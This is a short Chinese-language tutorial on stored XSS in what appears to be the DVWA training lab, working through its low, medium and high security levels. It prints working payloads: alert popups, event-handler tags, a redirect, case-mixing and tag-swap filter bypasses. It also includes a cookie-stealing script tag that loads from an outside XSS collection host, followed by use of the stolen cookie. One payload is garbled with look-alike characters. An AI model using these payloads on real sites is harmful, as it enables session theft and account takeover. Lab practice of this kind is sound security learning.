XSS(存储型)
长期存储于服务器端;
一、low级别
输入 1 提交
输入<script>alert('XSS')</script>
存在存储型的xss,所以每次打开都会弹框。
下面的都可以尝试
<body onload=alert('XSS1')>
<a href=http://192.168.37.128>登录</a>
`<img src=http://192.168.88.147/a.jpg οnerrοr=alert(‘XSS2’)>
`<script>window.location="http://www.baidu.com"</script> 重定向
获取cookie
注册一个xss接受平台 http://xss.fbisb.com/ 登录
插入到里面</tExtArEa>'"><sCRiPt sRC=http://xss.fbisb.com/GWz9></sCrIpT>
提交之后看都我们刚才创建的项目里面有了接受的cookie
然后把这个cookie用菜刀连接
二、medium级别
可以通过大小写绕过
其他语句和上面一样,script改大写就可以了。
三、high级别
查看源码
由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;
但是对于name参数,High级别的代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;(正则表达式中i表示不区分大小写)
在High级别中,虽然在name参数中无法使用<script>
标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码。
<body onload=alert('XSS1')>
<a href=http://192.168.37.128>登录</a>
<img src=http://192.168.88.147/a.jpg onerror=alert('XSS2')>